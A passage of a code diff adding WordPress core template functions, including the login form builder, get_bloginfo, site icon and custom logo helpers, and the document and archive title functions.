+ *     @type string $form_id        ID attribute value for the form. Default 'loginform'.
+ *     @type string $label_username Label for the username or email address field. Default 'Username or Email Address'.
+ *     @type string $label_password Label for the password field. Default 'Password'.
+ *     @type string $label_remember Label for the remember field. Default 'Remember Me'.
+ *     @type string $label_log_in   Label for the submit button. Default 'Log In'.
+ *     @type string $id_username    ID attribute value for the username field. Default 'user_login'.
+ *     @type string $id_password    ID attribute value for the password field. Default 'user_pass'.
+ *     @type string $id_remember    ID attribute value for the remember field. Default 'rememberme'.
+ *     @type string $id_submit      ID attribute value for the submit button. Default 'wp-submit'.
+ *     @type bool   $remember       Whether to display the "rememberme" checkbox in the form.
+ *     @type string $value_username Default value for the username field. Default empty.
+ *     @type bool   $value_remember Whether the "Remember Me" checkbox should be checked by default.
+ *                                  Default false (unchecked).
+ *
+ * }
+ * @return string|void String when retrieving.
+ */
+function wp_login_form( $args = array() ) {
+	$defaults = array(
+		'echo' => true,
+		// Default 'redirect' value takes the user back to the request URI.
+		'redirect' => ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'],
+		'form_id' => 'loginform',
+		'label_username' => __( 'Username or Email Address' ),
+		'label_password' => __( 'Password' ),
+		'label_remember' => __( 'Remember Me' ),
+		'label_log_in' => __( 'Log In' ),
+		'id_username' => 'user_login',
+		'id_password' => 'user_pass',
+		'id_remember' => 'rememberme',
+		'id_submit' => 'wp-submit',
+		'remember' => true,
+		'value_username' => '',
+		// Set 'value_remember' to true to default the "Remember me" checkbox to checked.
+		'value_remember' => false,
+	);
+
+	/**
+	 * Filters the default login form output arguments.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @see wp_login_form()
+	 *
+	 * @param array $defaults An array of default login form arguments.
+	 */
+	$args = wp_parse_args( $args, apply_filters( 'login_form_defaults', $defaults ) );
+
+	/**
+	 * Filters content to display at the top of the login form.
+	 *
+	 * The filter evaluates just following the opening form tag element.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $content Content to display. Default empty.
+	 * @param array  $args    Array of login form arguments.
+	 */
+	$login_form_top = apply_filters( 'login_form_top', '', $args );
+
+	/**
+	 * Filters content to display in the middle of the login form.
+	 *
+	 * The filter evaluates just following the location where the 'login-password'
+	 * field is displayed.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $content Content to display. Default empty.
+	 * @param array  $args    Array of login form arguments.
+	 */
+	$login_form_middle = apply_filters( 'login_form_middle', '', $args );
+
+	/**
+	 * Filters content to display at the bottom of the login form.
+	 *
+	 * The filter evaluates just preceding the closing form tag element.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $content Content to display. Default empty.
+	 * @param array  $args    Array of login form arguments.
+	 */
+	$login_form_bottom = apply_filters( 'login_form_bottom', '', $args );
+
+	$form = '
+		<form name="' . $args['form_id'] . '" id="' . $args['form_id'] . '" action="' . esc_url( site_url( 'wp-login.php', 'login_post' ) ) . '" method="post">
+			' . $login_form_top . '
+			<p class="login-username">
+				<label for="' . esc_attr( $args['id_username'] ) . '">' . esc_html( $args['label_username'] ) . '</label>
+				<input type="text" name="log" id="' . esc_attr( $args['id_username'] ) . '" class="input" value="' . esc_attr( $args['value_username'] ) . '" size="20" />
+			</p>
+			<p class="login-password">
+				<label for="' . esc_attr( $args['id_password'] ) . '">' . esc_html( $args['label_password'] ) . '</label>
+				<input type="password" name="pwd" id="' . esc_attr( $args['id_password'] ) . '" class="input" value="" size="20" />
+			</p>
+			' . $login_form_middle . '
+			' . ( $args['remember'] ? '<p class="login-remember"><label><input name="rememberme" type="checkbox" id="' . esc_attr( $args['id_remember'] ) . '" value="forever"' . ( $args['value_remember'] ? ' checked="checked"' : '' ) . ' /> ' . esc_html( $args['label_remember'] ) . '</label></p>' : '' ) . '
+			<p class="login-submit">
+				<input type="submit" name="wp-submit" id="' . esc_attr( $args['id_submit'] ) . '" class="button button-primary" value="' . esc_attr( $args['label_log_in'] ) . '" />
+				<input type="hidden" name="redirect_to" value="' . esc_url( $args['redirect'] ) . '" />
+			</p>
+			' . $login_form_bottom . '
+		</form>';
+
+	if ( $args['echo'] )
+		echo $form;
+	else
+		return $form;
+}
+
+/**
+ * Returns the URL that allows the user to retrieve the lost password
+ *
+ * @since 2.8.0
+ *
+ * @param string $redirect Path to redirect to on login.
+ * @return string Lost password URL.
+ */
+function wp_lostpassword_url( $redirect = '' ) {
+	$args = array( 'action' => 'lostpassword' );
+	if ( !empty($redirect) ) {
+		$args['redirect_to'] = urlencode( $redirect );
+	}
+
+	$lostpassword_url = add_query_arg( $args, network_site_url('wp-login.php', 'login') );
+
+	/**
+	 * Filters the Lost Password URL.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $lostpassword_url The lost password page URL.
+	 * @param string $redirect         The path to redirect to on login.
+	 */
+	return apply_filters( 'lostpassword_url', $lostpassword_url, $redirect );
+}
+
+/**
+ * Display the Registration or Admin link.
+ *
+ * Display a link which allows the user to navigate to the registration page if
+ * not logged in and registration is enabled or to the dashboard if logged in.
+ *
+ * @since 1.5.0
+ *
+ * @param string $before Text to output before the link. Default `<li>`.
+ * @param string $after  Text to output after the link. Default `</li>`.
+ * @param bool   $echo   Default to echo and not return the link.
+ * @return string|void String when retrieving.
+ */
+function wp_register( $before = '<li>', $after = '</li>', $echo = true ) {
+	if ( ! is_user_logged_in() ) {
+		if ( get_option('users_can_register') )
+			$link = $before . '<a href="' . esc_url( wp_registration_url() ) . '">' . __('Register') . '</a>' . $after;
+		else
+			$link = '';
+	} elseif ( current_user_can( 'read' ) ) {
+		$link = $before . '<a href="' . admin_url() . '">' . __('Site Admin') . '</a>' . $after;
+	} else {
+		$link = '';
+	}
+
+	/**
+	 * Filters the HTML link to the Registration or Admin page.
+	 *
+	 * Users are sent to the admin page if logged-in, or the registration page
+	 * if enabled and logged-out.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $link The HTML code for the link to the Registration or Admin page.
+	 */
+	$link = apply_filters( 'register', $link );
+
+	if ( $echo ) {
+		echo $link;
+	} else {
+		return $link;
+	}
+}
+
+/**
+ * Theme container function for the 'wp_meta' action.
+ *
+ * The {@see 'wp_meta'} action can have several purposes, depending on how you use it,
+ * but one purpose might have been to allow for theme switching.
+ *
+ * @since 1.5.0
+ *
+ * @link https://core.trac.wordpress.org/ticket/1458 Explanation of 'wp_meta' action.
+ */
+function wp_meta() {
+	/**
+	 * Fires before displaying echoed content in the sidebar.
+	 *
+	 * @since 1.5.0
+	 */
+	do_action( 'wp_meta' );
+}
+
+/**
+ * Displays information about the current site.
+ *
+ * @since 0.71
+ *
+ * @see get_bloginfo() For possible `$show` values
+ *
+ * @param string $show Optional. Site information to display. Default empty.
+ */
+function bloginfo( $show = '' ) {
+	echo get_bloginfo( $show, 'display' );
+}
+
+/**
+ * Retrieves information about the current site.
+ *
+ * Possible values for `$show` include:
+ *
+ * - 'name' - Site title (set in Settings > General)
+ * - 'description' - Site tagline (set in Settings > General)
+ * - 'wpurl' - The WordPress address (URL) (set in Settings > General)
+ * - 'url' - The Site address (URL) (set in Settings > General)
+ * - 'admin_email' - Admin email (set in Settings > General)
+ * - 'charset' - The "Encoding for pages and feeds"  (set in Settings > Reading)
+ * - 'version' - The current WordPress version
+ * - 'html_type' - The content-type (default: "text/html"). Themes and plugins
+ *   can override the default value using the {@see 'pre_option_html_type'} filter
+ * - 'text_direction' - The text direction determined by the site's language. is_rtl()
+ *   should be used instead
+ * - 'language' - Language code for the current site
+ * - 'stylesheet_url' - URL to the stylesheet for the active theme. An active child theme
+ *   will take precedence over this value
+ * - 'stylesheet_directory' - Directory path for the active theme.  An active child theme
+ *   will take precedence over this value
+ * - 'template_url' / 'template_directory' - URL of the active theme's directory. An active
+ *   child theme will NOT take precedence over this value
+ * - 'pingback_url' - The pingback XML-RPC file URL (xmlrpc.php)
+ * - 'atom_url' - The Atom feed URL (/feed/atom)
+ * - 'rdf_url' - The RDF/RSS 1.0 feed URL (/feed/rfd)
+ * - 'rss_url' - The RSS 0.92 feed URL (/feed/rss)
+ * - 'rss2_url' - The RSS 2.0 feed URL (/feed)
+ * - 'comments_atom_url' - The comments Atom feed URL (/comments/feed)
+ * - 'comments_rss2_url' - The comments RSS 2.0 feed URL (/comments/feed)
+ *
+ * Some `$show` values are deprecated and will be removed in future versions.
+ * These options will trigger the _deprecated_argument() function.
+ *
+ * Deprecated arguments include:
+ *
+ * - 'siteurl' - Use 'url' instead
+ * - 'home' - Use 'url' instead
+ *
+ * @since 0.71
+ *
+ * @global string $wp_version
+ *
+ * @param string $show   Optional. Site info to retrieve. Default empty (site name).
+ * @param string $filter Optional. How to filter what is retrieved. Default 'raw'.
+ * @return string Mostly string values, might be empty.
+ */
+function get_bloginfo( $show = '', $filter = 'raw' ) {
+	switch( $show ) {
+		case 'home' : // DEPRECATED
+		case 'siteurl' : // DEPRECATED
+			_deprecated_argument( __FUNCTION__, '2.2.0', sprintf(
+				/* translators: 1: 'siteurl'/'home' argument, 2: bloginfo() function name, 3: 'url' argument */
+				__( 'The %1$s option is deprecated for the family of %2$s functions. Use the %3$s option instead.' ),
+				'<code>' . $show . '</code>',
+				'<code>bloginfo()</code>',
+				'<code>url</code>'
+			) );
+		case 'url' :
+			$output = home_url();
+			break;
+		case 'wpurl' :
+			$output = site_url();
+			break;
+		case 'description':
+			$output = get_option('blogdescription');
+			break;
+		case 'rdf_url':
+			$output = get_feed_link('rdf');
+			break;
+		case 'rss_url':
+			$output = get_feed_link('rss');
+			break;
+		case 'rss2_url':
+			$output = get_feed_link('rss2');
+			break;
+		case 'atom_url':
+			$output = get_feed_link('atom');
+			break;
+		case 'comments_atom_url':
+			$output = get_feed_link('comments_atom');
+			break;
+		case 'comments_rss2_url':
+			$output = get_feed_link('comments_rss2');
+			break;
+		case 'pingback_url':
+			$output = site_url( 'xmlrpc.php' );
+			break;
+		case 'stylesheet_url':
+			$output = get_stylesheet_uri();
+			break;
+		case 'stylesheet_directory':
+			$output = get_stylesheet_directory_uri();
+			break;
+		case 'template_directory':
+		case 'template_url':
+			$output = get_template_directory_uri();
+			break;
+		case 'admin_email':
+			$output = get_option('admin_email');
+			break;
+		case 'charset':
+			$output = get_option('blog_charset');
+			if ('' == $output) $output = 'UTF-8';
+			break;
+		case 'html_type' :
+			$output = get_option('html_type');
+			break;
+		case 'version':
+			global $wp_version;
+			$output = $wp_version;
+			break;
+		case 'language':
+			/* translators: Translate this to the correct language tag for your locale,
+			 * see https://www.w3.org/International/articles/language-tags/ for reference.
+			 * Do not translate into your own language.
+			 */
+			$output = __( 'html_lang_attribute' );
+			if ( 'html_lang_attribute' === $output || preg_match( '/[^a-zA-Z0-9-]/', $output ) ) {
+				$output = determine_locale();
+				$output = str_replace( '_', '-', $output );
+			}
+			break;
+		case 'text_direction':
+			_deprecated_argument( __FUNCTION__, '2.2.0', sprintf(
+				/* translators: 1: 'text_direction' argument, 2: bloginfo() function name, 3: is_rtl() function name */
+				__( 'The %1$s option is deprecated for the family of %2$s functions. Use the %3$s function instead.' ),
+				'<code>' . $show . '</code>',
+				'<code>bloginfo()</code>',
+				'<code>is_rtl()</code>'
+			) );
+			if ( function_exists( 'is_rtl' ) ) {
+				$output = is_rtl() ? 'rtl' : 'ltr';
+			} else {
+				$output = 'ltr';
+			}
+			break;
+		case 'name':
+		default:
+			$output = get_option('blogname');
+			break;
+	}
+
+	$url = true;
+	if (strpos($show, 'url') === false &&
+		strpos($show, 'directory') === false &&
+		strpos($show, 'home') === false)
+		$url = false;
+
+	if ( 'display' == $filter ) {
+		if ( $url ) {
+			/**
+			 * Filters the URL returned by get_bloginfo().
+			 *
+			 * @since 2.0.5
+			 *
+			 * @param mixed $output The URL returned by bloginfo().
+			 * @param mixed $show   Type of information requested.
+			 */
+			$output = apply_filters( 'bloginfo_url', $output, $show );
+		} else {
+			/**
+			 * Filters the site information returned by get_bloginfo().
+			 *
+			 * @since 0.71
+			 *
+			 * @param mixed $output The requested non-URL site information.
+			 * @param mixed $show   Type of information requested.
+			 */
+			$output = apply_filters( 'bloginfo', $output, $show );
+		}
+	}
+
+	return $output;
+}
+
+/**
+ * Returns the Site Icon URL.
+ *
+ * @since 4.3.0
+ *
+ * @param int    $size    Optional. Size of the site icon. Default 512 (pixels).
+ * @param string $url     Optional. Fallback url if no site icon is found. Default empty.
+ * @param int    $blog_id Optional. ID of the blog to get the site icon for. Default current blog.
+ * @return string Site Icon URL.
+ */
+function get_site_icon_url( $size = 512, $url = '', $blog_id = 0 ) {
+	$switched_blog = false;
+
+	if ( is_multisite() && ! empty( $blog_id ) && (int) $blog_id !== get_current_blog_id() ) {
+		switch_to_blog( $blog_id );
+		$switched_blog = true;
+	}
+
+	$site_icon_id = get_option( 'site_icon' );
+
+	if ( $site_icon_id ) {
+		if ( $size >= 512 ) {
+			$size_data = 'full';
+		} else {
+			$size_data = array( $size, $size );
+		}
+		$url = wp_get_attachment_image_url( $site_icon_id, $size_data );
+	}
+
+	if ( $switched_blog ) {
+		restore_current_blog();
+	}
+
+	/**
+	 * Filters the site icon URL.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $url     Site icon URL.
+	 * @param int    $size    Size of the site icon.
+	 * @param int    $blog_id ID of the blog to get the site icon for.
+	 */
+	return apply_filters( 'get_site_icon_url', $url, $size, $blog_id );
+}
+
+/**
+ * Displays the Site Icon URL.
+ *
+ * @since 4.3.0
+ *
+ * @param int    $size    Optional. Size of the site icon. Default 512 (pixels).
+ * @param string $url     Optional. Fallback url if no site icon is found. Default empty.
+ * @param int    $blog_id Optional. ID of the blog to get the site icon for. Default current blog.
+ */
+function site_icon_url( $size = 512, $url = '', $blog_id = 0 ) {
+	echo esc_url( get_site_icon_url( $size, $url, $blog_id ) );
+}
+
+/**
+ * Whether the site has a Site Icon.
+ *
+ * @since 4.3.0
+ *
+ * @param int $blog_id Optional. ID of the blog in question. Default current blog.
+ * @return bool Whether the site has a site icon or not.
+ */
+function has_site_icon( $blog_id = 0 ) {
+	return (bool) get_site_icon_url( 512, '', $blog_id );
+}
+
+/**
+ * Determines whether the site has a custom logo.
+ *
+ * @since 4.5.0
+ *
+ * @param int $blog_id Optional. ID of the blog in question. Default is the ID of the current blog.
+ * @return bool Whether the site has a custom logo or not.
+ */
+function has_custom_logo( $blog_id = 0 ) {
+	$switched_blog = false;
+
+	if ( is_multisite() && ! empty( $blog_id ) && (int) $blog_id !== get_current_blog_id() ) {
+		switch_to_blog( $blog_id );
+		$switched_blog = true;
+	}
+
+	$custom_logo_id = get_theme_mod( 'custom_logo' );
+
+	if ( $switched_blog ) {
+		restore_current_blog();
+	}
+
+	return (bool) $custom_logo_id;
+}
+
+/**
+ * Returns a custom logo, linked to home.
+ *
+ * @since 4.5.0
+ *
+ * @param int $blog_id Optional. ID of the blog in question. Default is the ID of the current blog.
+ * @return string Custom logo markup.
+ */
+function get_custom_logo( $blog_id = 0 ) {
+	$html = '';
+	$switched_blog = false;
+
+	if ( is_multisite() && ! empty( $blog_id ) && (int) $blog_id !== get_current_blog_id() ) {
+		switch_to_blog( $blog_id );
+		$switched_blog = true;
+	}
+
+	$custom_logo_id = get_theme_mod( 'custom_logo' );
+
+	// We have a logo. Logo is go.
+	if ( $custom_logo_id ) {
+		$custom_logo_attr = array(
+			'class'    => 'custom-logo',
+			'itemprop' => 'logo',
+		);
+
+		/*
+		 * If the logo alt attribute is empty, get the site title and explicitly
+		 * pass it to the attributes used by wp_get_attachment_image().
+		 */
+		$image_alt = get_post_meta( $custom_logo_id, '_wp_attachment_image_alt', true );
+		if ( empty( $image_alt ) ) {
+			$custom_logo_attr['alt'] = get_bloginfo( 'name', 'display' );
+		}
+
+		/*
+		 * If the alt attribute is not empty, there's no need to explicitly pass
+		 * it because wp_get_attachment_image() already adds the alt attribute.
+		 */
+		$html = sprintf( '<a href="%1$s" class="custom-logo-link" rel="home" itemprop="url">%2$s</a>',
+			esc_url( home_url( '/' ) ),
+			wp_get_attachment_image( $custom_logo_id, 'full', false, $custom_logo_attr )
+		);
+	}
+
+	// If no logo is set but we're in the Customizer, leave a placeholder (needed for the live preview).
+	elseif ( is_customize_preview() ) {
+		$html = sprintf( '<a href="%1$s" class="custom-logo-link" style="display:none;"><img class="custom-logo"/></a>',
+			esc_url( home_url( '/' ) )
+		);
+	}
+
+	if ( $switched_blog ) {
+		restore_current_blog();
+	}
+
+	/**
+	 * Filters the custom logo output.
+	 *
+	 * @since 4.5.0
+	 * @since 4.6.0 Added the `$blog_id` parameter.
+	 *
+	 * @param string $html    Custom logo HTML output.
+	 * @param int    $blog_id ID of the blog to get the custom logo for.
+	 */
+	return apply_filters( 'get_custom_logo', $html, $blog_id );
+}
+
+/**
+ * Displays a custom logo, linked to home.
+ *
+ * @since 4.5.0
+ *
+ * @param int $blog_id Optional. ID of the blog in question. Default is the ID of the current blog.
+ */
+function the_custom_logo( $blog_id = 0 ) {
+	echo get_custom_logo( $blog_id );
+}
+
+/**
+ * Returns document title for the current page.
+ *
+ * @since 4.4.0
+ *
+ * @global int $page  Page number of a single post.
+ * @global int $paged Page number of a list of posts.
+ *
+ * @return string Tag with the document title.
+ */
+function wp_get_document_title() {
+
+	/**
+	 * Filters the document title before it is generated.
+	 *
+	 * Passing a non-empty value will short-circuit wp_get_document_title(),
+	 * returning that value instead.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $title The document title. Default empty string.
+	 */
+	$title = apply_filters( 'pre_get_document_title', '' );
+	if ( ! empty( $title ) ) {
+		return $title;
+	}
+
+	global $page, $paged;
+
+	$title = array(
+		'title' => '',
+	);
+
+	// If it's a 404 page, use a "Page not found" title.
+	if ( is_404() ) {
+		$title['title'] = __( 'Page not found' );
+
+	// If it's a search, use a dynamic search results title.
+	} elseif ( is_search() ) {
+		/* translators: %s: search phrase */
+		$title['title'] = sprintf( __( 'Search Results for &#8220;%s&#8221;' ), get_search_query() );
+
+	// If on the front page, use the site title.
+	} elseif ( is_front_page() ) {
+		$title['title'] = get_bloginfo( 'name', 'display' );
+
+	// If on a post type archive, use the post type archive title.
+	} elseif ( is_post_type_archive() ) {
+		$title['title'] = post_type_archive_title( '', false );
+
+	// If on a taxonomy archive, use the term title.
+	} elseif ( is_tax() ) {
+		$title['title'] = single_term_title( '', false );
+
+	/*
+	 * If we're on the blog page that is not the homepage or
+	 * a single post of any post type, use the post title.
+	 */
+	} elseif ( is_home() || is_singular() ) {
+		$title['title'] = single_post_title( '', false );
+
+	// If on a category or tag archive, use the term title.
+	} elseif ( is_category() || is_tag() ) {
+		$title['title'] = single_term_title( '', false );
+
+	// If on an author archive, use the author's display name.
+	} elseif ( is_author() && $author = get_queried_object() ) {
+		$title['title'] = $author->display_name;
+
+	// If it's a date archive, use the date as the title.
+	} elseif ( is_year() ) {
+		$title['title'] = get_the_date( _x( 'Y', 'yearly archives date format' ) );
+
+	} elseif ( is_month() ) {
+		$title['title'] = get_the_date( _x( 'F Y', 'monthly archives date format' ) );
+
+	} elseif ( is_day() ) {
+		$title['title'] = get_the_date();
+	}
+
+	// Add a page number if necessary.
+	if ( ( $paged >= 2 || $page >= 2 ) && ! is_404() ) {
+		$title['page'] = sprintf( __( 'Page %s' ), max( $paged, $page ) );
+	}
+
+	// Append the description or site title to give context.
+	if ( is_front_page() ) {
+		$title['tagline'] = get_bloginfo( 'description', 'display' );
+	} else {
+		$title['site'] = get_bloginfo( 'name', 'display' );
+	}
+
+	/**
+	 * Filters the separator for the document title.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $sep Document title separator. Default '-'.
+	 */
+	$sep = apply_filters( 'document_title_separator', '-' );
+
+	/**
+	 * Filters the parts of the document title.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array $title {
+	 *     The document title parts.
+	 *
+	 *     @type string $title   Title of the viewed page.
+	 *     @type string $page    Optional. Page number if paginated.
+	 *     @type string $tagline Optional. Site description when on home page.
+	 *     @type string $site    Optional. Site title when not on home page.
+	 * }
+	 */
+	$title = apply_filters( 'document_title_parts', $title );
+
+	$title = implode( " $sep ", array_filter( $title ) );
+	$title = wptexturize( $title );
+	$title = convert_chars( $title );
+	$title = esc_html( $title );
+	$title = capital_P_dangit( $title );
+
+	return $title;
+}
+
+/**
+ * Displays title tag with content.
+ *
+ * @ignore
+ * @since 4.1.0
+ * @since 4.4.0 Improved title output replaced `wp_title()`.
+ * @access private
+ */
+function _wp_render_title_tag() {
+	if ( ! current_theme_supports( 'title-tag' ) ) {
+		return;
+	}
+
+	echo '<title>' . wp_get_document_title() . '</title>' . "\n";
+}
+
+/**
+ * Display or retrieve page title for all areas of blog.
+ *
+ * By default, the page title will display the separator before the page title,
+ * so that the blog title will be before the page title. This is not good for
+ * title display, since the blog title shows up on most tabs and not what is
+ * important, which is the page that the user is looking at.
+ *
+ * There are also SEO benefits to having the blog title after or to the 'right'
+ * of the page title. However, it is mostly common sense to have the blog title
+ * to the right with most browsers supporting tabs. You can achieve this by
+ * using the seplocation parameter and setting the value to 'right'. This change
+ * was introduced around 2.5.0, in case backward compatibility of themes is
+ * important.
+ *
+ * @since 1.0.0
+ *
+ * @global WP_Locale $wp_locale
+ *
+ * @param string $sep         Optional, default is '&raquo;'. How to separate the various items
+ *                            within the page title.
+ * @param bool   $display     Optional, default is true. Whether to display or retrieve title.
+ * @param string $seplocation Optional. Direction to display title, 'right'.
+ * @return string|null String on retrieve, null when displaying.
+ */
+function wp_title( $sep = '&raquo;', $display = true, $seplocation = '' ) {
+	global $wp_locale;
+
+	$m        = get_query_var( 'm' );
+	$year     = get_query_var( 'year' );
+	$monthnum = get_query_var( 'monthnum' );
+	$day      = get_query_var( 'day' );
+	$search   = get_query_var( 's' );
+	$title    = '';
+
+	$t_sep = '%WP_TITLE_SEP%'; // Temporary separator, for accurate flipping, if necessary
+
+	// If there is a post
+	if ( is_single() || ( is_home() && ! is_front_page() ) || ( is_page() && ! is_front_page() ) ) {
+		$title = single_post_title( '', false );
+	}
+
+	// If there's a post type archive
+	if ( is_post_type_archive() ) {
+		$post_type = get_query_var( 'post_type' );
+		if ( is_array( $post_type ) ) {
+			$post_type = reset( $post_type );
+		}
+		$post_type_object = get_post_type_object( $post_type );
+		if ( ! $post_type_object->has_archive ) {
+			$title = post_type_archive_title( '', false );
+		}
+	}
+
+	// If there's a category or tag
+	if ( is_category() || is_tag() ) {
+		$title = single_term_title( '', false );
+	}
+
+	// If there's a taxonomy
+	if ( is_tax() ) {
+		$term = get_queried_object();
+		if ( $term ) {
+			$tax   = get_taxonomy( $term->taxonomy );
+			$title = single_term_title( $tax->labels->name . $t_sep, false );
+		}
+	}
+
+	// If there's an author
+	if ( is_author() && ! is_post_type_archive() ) {
+		$author = get_queried_object();
+		if ( $author ) {
+			$title = $author->display_name;
+		}
+	}
+
+	// Post type archives with has_archive should override terms.
+	if ( is_post_type_archive() && $post_type_object->has_archive ) {
+		$title = post_type_archive_title( '', false );
+	}
+
+	// If there's a month
+	if ( is_archive() && ! empty( $m ) ) {
+		$my_year  = substr( $m, 0, 4 );
+		$my_month = $wp_locale->get_month( substr( $m, 4, 2 ) );
+		$my_day   = intval( substr( $m, 6, 2 ) );
+		$title    = $my_year . ( $my_month ? $t_sep . $my_month : '' ) . ( $my_day ? $t_sep . $my_day : '' );
+	}
+
+	// If there's a year
+	if ( is_archive() && ! empty( $year ) ) {
+		$title = $year;
+		if ( ! empty( $monthnum ) ) {
+			$title .= $t_sep . $wp_locale->get_month( $monthnum );
+		}
+		if ( ! empty( $day ) ) {
+			$title .= $t_sep . zeroise( $day, 2 );
+		}
+	}
+
+	// If it's a search
+	if ( is_search() ) {
+		/* translators: 1: separator, 2: search phrase */
+		$title = sprintf( __( 'Search Results %1$s %2$s' ), $t_sep, strip_tags( $search ) );
+	}
+
+	// If it's a 404 page
+	if ( is_404() ) {
+		$title = __( 'Page not found' );
+	}
+
+	$prefix = '';
+	if ( ! empty( $title ) ) {
+		$prefix = " $sep ";
+	}
+
+	/**
+	 * Filters the parts of the page title.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param array $title_array Parts of the page title.
+	 */
+	$title_array = apply_filters( 'wp_title_parts', explode( $t_sep, $title ) );
+
+	// Determines position of the separator and direction of the breadcrumb
+	if ( 'right' == $seplocation ) { // sep on right, so reverse the order
+		$title_array = array_reverse( $title_array );
+		$title       = implode( " $sep ", $title_array ) . $prefix;
+	} else {
+		$title = $prefix . implode( " $sep ", $title_array );
+	}
+
+	/**
+	 * Filters the text of the page title.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string $title Page title.
+	 * @param string $sep Title separator.
+	 * @param string $seplocation Location of the separator (left or right).
+	 */
+	$title = apply_filters( 'wp_title', $title, $sep, $seplocation );
+
+	// Send it out
+	if ( $display ) {
+		echo $title;
+	} else {
+		return $title;
+	}
+}
+
+/**
+ * Display or retrieve page title for post.
+ *
+ * This is optimized for single.php template file for displaying the post title.
+ *
+ * It does not support placing the separator after the title, but by leaving the
+ * prefix parameter empty, you can set the title separator manually. The prefix
+ * does not automatically place a space between the prefix, so if there should
+ * be a space, the parameter value will need to have it at the end.
+ *
+ * @since 0.71
+ *
+ * @param string $prefix  Optional. What to display before the title.
+ * @param bool   $display Optional, default is true. Whether to display or retrieve title.
+ * @return string|void Title when retrieving.
+ */
+function single_post_title( $prefix = '', $display = true ) {
+	$_post = get_queried_object();
+
+	if ( !isset($_post->post_title) )
+		return;
+
+	/**
+	 * Filters the page title for a single post.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string $_post_title The single post page title.
+	 * @param object $_post       The current queried object as returned by get_queried_object().
+	 */
+	$title = apply_filters( 'single_post_title', $_post->post_title, $_post );
+	if ( $display )
+		echo $prefix . $title;
+	else
+		return $prefix . $title;
+}
+
+/**
+ * Display or retrieve title for a post type archive.
+ *
+ * This is optimized for archive.php and archive-{$post_type}.php template files
+ * for displaying the title of the post type.
+ *
+ * @since 3.1.0
+ *
+ * @param string $prefix  Optional. What to display before the title.
+ * @param bool   $display Optional, default is true. Whether to display or retrieve title.
+ * @return string|void Title when retrieving, null when displaying or failure.
+ */
+function post_type_archive_title( $prefix = '', $display = true ) {
+	if ( ! is_post_type_archive() )
+		return;
+
+	$post_type = get_query_var( 'post_type' );
+	if ( is_array( $post_type ) )
+		$post_type = reset( $post_type );
+
+	$post_type_obj = get_post_type_object( $post_type );
+
+	/**
+	 * Filters the post type archive title.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $post_type_name Post type 'name' label.
+	 * @param string $post_type      Post type.
+	 */
+	$title = apply_filters( 'post_type_archive_title', $post_type_obj->labels->name, $post_type );
+
+	if ( $display )
+		echo $prefix . $title;
+	else
+		return $prefix . $title;
+}
+
+/**
+ * Display or retrieve page title for category archive.
+ *
+ * Useful for category template files for displaying the category page title.
+ * The prefix does not automatically place a space between the prefix, so if
+ * there should be a space, the parameter value will need to have it at the end.
+ *
+ * @since 0.71
+ *
+ * @param string $prefix  Optional. What to display before the title.
+ * @param bool   $display Optional, default is true. Whether to display or retrieve title.
+ * @return string|void Title when retrieving.
+ */
+function single_cat_title( $prefix = '', $display = true ) {
+	return single_term_title( $prefix, $display );
+}
+
+/**
+ * Display or retrieve page title for tag post archive.
+ *
+ * Useful for tag template files for displaying the tag page title. The prefix
+ * does not automatically place a space between the prefix, so if there should
+ * be a space, the parameter value will need to have it at the end.
+ *
+ * @since 2.3.0
+ *
+ * @param string $prefix  Optional. What to display before the title.
+ * @param bool   $display Optional, default is true. Whether to display or retrieve title.
+ * @return string|void Title when retrieving.
+ */
+function single_tag_title( $prefix = '', $display = true ) {
+	return single_term_title( $prefix, $display );
+}
+
+/**
+ * Display or retrieve page title for taxonomy term archive.
+ *
+ * Useful for taxonomy term template files for displaying the taxonomy term page title.
+ * The prefix does not automatically place a space between the prefix, so if there should
+ * be a space, the parameter value will need to have it at the end.
+ *
+ * @since 3.1.0
+ *
+ * @param string $prefix  Optional. What to display before the title.
+ * @param bool   $display Optional, default is true. Whether to display or retrieve title.
+ * @return string|void Title when retrieving.
+ */
+function single_term_title( $prefix = '', $display = true ) {
+	$term = get_queried_object();
+
+	if ( !$term )
+		return;
+
+	if ( is_category() ) {
+		/**
+		 * Filters the category archive page title.
+		 *
+		 * @since 2.0.10
+		 *
+		 * @param string $term_name Category name for archive being displayed.
+		 */
+		$term_name = apply_filters( 'single_cat_title', $term->name );
+	} elseif ( is_tag() ) {
+		/**
+		 * Filters the tag archive page title.
+		 *
+		 * @since 2.3.0
+		 *
+		 * @param string $term_name Tag name for archive being displayed.
+		 */
+		$term_name = apply_filters( 'single_tag_title', $term->name );
+	} elseif ( is_tax() ) {
+		/**
+		 * Filters the custom taxonomy archive page title.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param string $term_name Term name for archive being displayed.
+		 */
+		$term_name = apply_filters( 'single_term_title', $term->name );
+	} else {
+		return;
+	}
+
+	if ( empty( $term_name ) )
+		return;
+
+	if ( $display )
+		echo $prefix . $term_name;
+	else
+		return $prefix . $term_name;
+}
+
+/**
+ * Display or retrieve page title for post archive based on date.
+ *
+ * Useful for when the template only needs to display the month and year,
+ * if either are available. The prefix does not automatically place a space
+ * between the prefix, so if there should be a space, the parameter value
+ * will need to have it at the end.
+ *
+ * @since 0.71
+ *
+ * @global WP_Locale $wp_locale
+ *
+ * @param string $prefix  Optional. What to display before the title.
+ * @param bool   $display Optional, default is true. Whether to display or retrieve title.
+ * @return string|void Title when retrieving.
+ */
+function single_month_title($prefix = '', $display = true ) {
+	global $wp_locale;
+
+	$m = get_query_var('m');
+	$year = get_query_var('year');
+	$monthnum = get_query_var('monthnum');
+
+	if ( !empty($monthnum) && !empty($year) ) {
